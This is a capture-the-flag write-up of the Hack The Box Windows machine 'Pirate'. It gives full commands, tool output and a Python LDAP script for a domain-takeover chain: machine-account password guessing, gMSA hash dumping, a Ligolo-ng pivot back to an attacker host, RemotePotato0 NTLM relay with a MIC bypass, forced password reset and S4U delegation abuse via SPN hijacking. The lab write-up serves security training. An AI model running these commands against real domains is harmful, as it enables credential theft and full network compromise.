Skip to content
Kondred0x1
Back to writeups

Pirate

Pirate
Hard
Windows

Reconnaissance

Port Scan

Nmap reveals a Windows Server 2019 Domain Controller (DC01.pirate.htb):

  • 53/tcp - DNS
  • 88/tcp - Kerberos
  • 135/tcp - RPC
  • 389/636/tcp - LDAP/LDAPS
  • 445/tcp - SMB
  • 80/443/tcp - IIS (default page, nothing useful)
  • 2179/tcp - vmrdp (Hyper-V - hints at nested VMs behind DC01)
  • 5985/tcp - WinRM

Clock skew of +6h - requires time sync for Kerberos (sudo ntpdate 10.129.244.95).

Initial Setup

Starting credentials are provided: pentest / p3nt3st2025!& (domain user).

# /etc/hosts

10.129.244.95  pirate.htb DC01.pirate.htb dc01.pirate.htb



# Sync clock for Kerberos

sudo ntpdate 10.129.244.95

BloodHound Enumeration

nxc ldap 10.129.1.22 -u pentest -p 'p3nt3st2025!&' --bloodhound --collection All --dns-server 10.129.1.22

Key BloodHound findings that define the entire attack path:

  1. MS01$ - Computer account with PASSWD_NOTREQD flag, member of Pre-Windows 2000 Compatible Access and Domain Secure Servers
  2. gMSA accounts - gMSA_ADCS_prod$ and gMSA_ADFS_prod$ exist; Domain Secure Servers can read their passwords
  3. a.whiteForceChangePassworda.white_adm
  4. a.white_adm → member of IT group → IT has WriteSPN on DC01$
  5. a.white_adm has constrained delegation with protocol transition to HTTP/WEB01.pirate.htb

Initial Access - Pre-Windows 2000 Machine Account → gMSA Dump

Pre-Windows 2000 Password Convention - MS01$

BloodHound shows MS01$ has the PASSWD_NOTREQD flag and is a member of the Pre-Windows 2000 Compatible Access group. Accounts created with this compatibility option have their password set to the lowercase computer name (without the trailing $).

# Verify PASSWD_NOTREQD

nxc ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --password-not-required



# Authenticate as MS01$

nxc smb 10.129.244.95 -u 'MS01$' -p ms01 -k

# [+] pirate.htb\MS01$:ms01

gMSA Password Dump

MS01$ is a member of Domain Secure Servers, which has ReadGMSAPassword rights on both gMSA accounts:

nxc ldap DC01.pirate.htb -u 'MS01$' -p ms01 -k --gmsa

# gMSA_ADCS_prod$  NTLM: 304106f739822ea2ad8ebe23f802d078

# gMSA_ADFS_prod$  NTLM: 8126756fb2e69697bfcb04816e685839

Shell on DC01 - Internal Network Discovery

gMSA_ADCS_prod$ is the CA service account and has WinRM access to DC01:

evil-winrm -i 10.129.244.95 -u 'gMSA_ADCS_prod$' -H '304106f739822ea2ad8ebe23f802d078'
ipconfig

# vEthernet (Switch01): 192.168.100.1/24   Hyper-V internal network

# Ethernet0 2: 10.129.244.95               External

DC01 is a Hyper-V host with VMs (WEB01, MS01) on the internal 192.168.100.0/24 network, not directly accessible from the attacker machine.


Pivoting - Ligolo-ng

Setup

Since the internal network is not routable, we tunnel through DC01 using Ligolo-ng:

Attacker (Kali):

sudo ./proxy -selfcert

DC01 (evil-winrm):

upload agent.exe

.\agent.exe -connect <KALI_IP>:11601 -ignore-cert

Attacker - after agent connects:

# In ligolo proxy console:

>> session

>> 1          # select DC01 session

>> start

>> autoroute

Verify Internal Access

nxc smb 192.168.100.0/24 -u 'gMSA_ADCS_prod$' -H 304106f739822ea2ad8ebe23f802d078

# 192.168.100.1  DC01   signing:True

# 192.168.100.2  WEB01  signing:False   SMB signing disabled!

Update /etc/hosts:

10.129.244.95  pirate.htb DC01.pirate.htb dc01.pirate.htb

192.168.100.1  DC01-internal.pirate.htb

192.168.100.2  WEB01.pirate.htb

User - RemotePotato0 NTLM Relay → Constrained Delegation

AutoLogon Discovery on WEB01

evil-winrm -i 192.168.100.2 -u 'gMSA_ADCS_prod$' -H '304106f739822ea2ad8ebe23f802d078'

WinPEAS reveals AutoLogon credentials:

Looking for AutoLogon credentials

    DefaultDomainName  :  PIRATE

    DefaultUserName    :  a.white

a.white has an active autologon session (Session ID 1) on WEB01. Combined with SMB signing disabled on WEB01, this enables an NTLM relay attack.

RemotePotato0 - NTLM Relay Chain

RemotePotato0 triggers a DCOM activation in a.white's session, coercing an NTLM authentication. This auth is relayed through our attacker machine to LDAPS on DC01 using ntlmrelayx with --remove-mic (CVE-2019-1040 MIC bypass for cross-protocol relay).

Since a.white has ForceChangePassword over a.white_adm (from BloodHound), we use the relayed LDAPS session to change a.white_adm's password.

Terminal 1 - ntlmrelayx (Kali):

impacket-ntlmrelayx -t ldaps://192.168.100.1 --http-port 8080 --remove-mic -i --no-rpc-server
  • --remove-mic - strips MIC from NTLM auth, bypassing cross-protocol relay protection (CVE-2019-1040)
  • -i - starts interactive LDAP shell on successful relay
  • --no-rpc-server - prevents port 135 conflict with socat

Terminal 2 - socat (Kali):

sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.100.2:9999

Redirects OXID resolver callback (port 135) back to RemotePotato0's listener on WEB01 (port 9999). Required because Server 2019 blocks local binding of RogueOxidResolver.

Terminal 3 - RemotePotato0 (WEB01 evil-winrm):

upload RemotePotato0.exe

RemotePotato0.exe -m 0 -r <KALI_IP> -t 8080 -x <KALI_IP> -p 9999 -s 1
  • -m 0 - DCOM activation relay mode
  • -r - OXID callback destination (Kali, where socat listens on 135)
  • -x - NTLM auth destination (Kali, where ntlmrelayx listens on 8080)
  • -p 9999 - local RogueOxidResolver port on WEB01
  • -s 1 - target Session ID (a.white's autologon session)

Result:

[*] Authenticating PIRATE/A.WHITE against ldaps://192.168.100.1 SUCCEED

[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000

ForceChangePassword - a.white_adm

a.white has ForceChangePassword ACL over a.white_adm. Using the relayed LDAPS session:

nc 127.0.0.1 11000

# In LDAP shell:

change_password a.white_adm NewP@ssw0rd123!

Constrained Delegation - User Flag

a.white_adm has constrained delegation with protocol transition to HTTP/WEB01.pirate.htb. This allows S4U2Self + S4U2Proxy to impersonate any user to that service. Using -altservice we change the service name in the ticket from HTTP to CIFS, giving file system access:

# S4U - get ticket as Administrator, change service to CIFS

impacket-getST -spn HTTP/WEB01.pirate.htb -impersonate Administrator \

  -altservice CIFS/WEB01.pirate.htb 'pirate.htb/a.white_adm:NewP@ssw0rd123!' \

  -dc-ip 10.129.244.95



# Use the ticket

export KRB5CCNAME=Administrator@CIFS_WEB01.pirate.htb@PIRATE.HTB.ccache

impacket-psexec -k -no-pass WEB01.pirate.htb

→ SYSTEM on WEB01 → user.txt


Privilege Escalation - WriteSPN + Constrained Delegation to DC01

WriteSPN - SPN Move from WEB01$ to DC01$

a.white_adm is a member of the IT group, which has WriteSPN on DC01$ (and all other computer accounts).

a.white_adm's constrained delegation is configured to HTTP/WEB01.pirate.htb. When Kerberos processes S4U2Proxy, it resolves the SPN to a machine account. If we move the HTTP/WEB01.pirate.htb SPN from WEB01$ to DC01$, then S4U2Proxy will issue a service ticket encrypted with DC01$'s machine account key instead of WEB01$'s.

# spn_move.py

import ldap3



server = ldap3.Server('10.129.244.95', use_ssl=False)

conn = ldap3.Connection(server, user='pirate.htb\\a.white_adm',

                        password='NewP@ssw0rd123!', authentication=ldap3.NTLM)

conn.bind()



# Remove HTTP/WEB01.pirate.htb from WEB01$

conn.modify('CN=WEB01,CN=Computers,DC=pirate,DC=htb',

    {'servicePrincipalName': [(ldap3.MODIFY_DELETE, ['HTTP/WEB01.pirate.htb'])]})

print(conn.result)



# Add HTTP/WEB01.pirate.htb to DC01$

conn.modify('CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb',

    {'servicePrincipalName': [(ldap3.MODIFY_ADD, ['HTTP/WEB01.pirate.htb'])]})

print(conn.result)
python3 spn_move.py

# {'result': 0, 'description': 'success', ...}

# {'result': 0, 'description': 'success', ...}

Constrained Delegation to DC01 - Root Flag

Now HTTP/WEB01.pirate.htb resolves to DC01$. S4U2Proxy issues a ticket for DC01$'s machine account:

# S4U - same SPN, but now resolves to DC01$

impacket-getST -spn HTTP/WEB01.pirate.htb -impersonate Administrator \

  -altservice CIFS/DC01.pirate.htb 'pirate.htb/a.white_adm:NewP@ssw0rd123!' \

  -dc-ip 10.129.244.95



# Use the ticket

export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache

impacket-psexec -k -no-pass DC01.pirate.htb

→ SYSTEM on DC01 → root.txt


Attack Chain Summary

pentest creds  BloodHound enum

  

  ├─ MS01$ PASSWD_NOTREQD + Pre-Windows 2000  MS01$:ms01

    └─ gMSA password dump (Domain Secure Servers)

       └─ Shell DC01 as gMSA_ADCS_prod$  discover 192.168.100.0/24

  

  ├─ Ligolo pivot  Shell WEB01 as gMSA_ADCS_prod$

    └─ WinPEAS  AutoLogon a.white on WEB01 (Session ID 1)

  

  ├─ RemotePotato0 (DCOM coercion)  NTLM relay to LDAPS (CVE-2019-1040)

    └─ ForceChangePassword: a.white  a.white_adm

       └─ Constrained Delegation S4U  Administrator@CIFS/WEB01  user.txt

  

  └─ WriteSPN: move HTTP/WEB01 SPN from WEB01$ to DC01$

     └─ Constrained Delegation S4U  Administrator@CIFS/DC01  root.txt

Key Takeaways

  1. Pre-Windows 2000 password convention - computer accounts with PASSWD_NOTREQD flag and membership in the Pre-Windows 2000 group have their password set to the lowercase hostname, making them trivially guessable
  2. gMSA password dump via group membership - Domain Secure Servers group has ReadGMSAPassword rights, allowing any member (including compromised machine accounts) to dump gMSA NTLM hashes
  3. Hyper-V internal pivoting - DC01 acts as a Hyper-V host bridging the external network and the internal 192.168.100.0/24 network; Ligolo-ng creates a seamless tunnel for attacking nested VMs
  4. RemotePotato0 NTLM relay - coerces NTLM authentication from a.white's DCOM session and relays it to LDAPS with MIC bypass (CVE-2019-1040), enabling ACL-based attacks through the relayed session
  5. ForceChangePassword ACL abuse - allows resetting a.white_adm's password without knowing the current one, using the relayed LDAPS connection
  6. S4U constrained delegation with altservice - a.white_adm's delegation to HTTP/WEB01 can be abused by changing the service name to CIFS, granting file system access as Administrator
  7. WriteSPN SPN hijack - moving the target SPN from WEB01$ to DC01$ causes S4U2Proxy to issue tickets for DC01$'s machine account, escalating from WEB01 access to full DC01 compromise
Hack The Box Achievement